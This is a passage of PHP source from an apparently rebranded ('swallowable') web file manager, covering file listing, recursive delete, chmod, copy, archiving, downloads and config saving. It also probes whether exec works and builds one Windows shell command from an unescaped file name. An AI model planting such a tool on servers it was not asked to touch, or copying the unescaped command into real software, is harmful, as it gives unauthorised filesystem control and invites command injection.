                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'swallowable<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
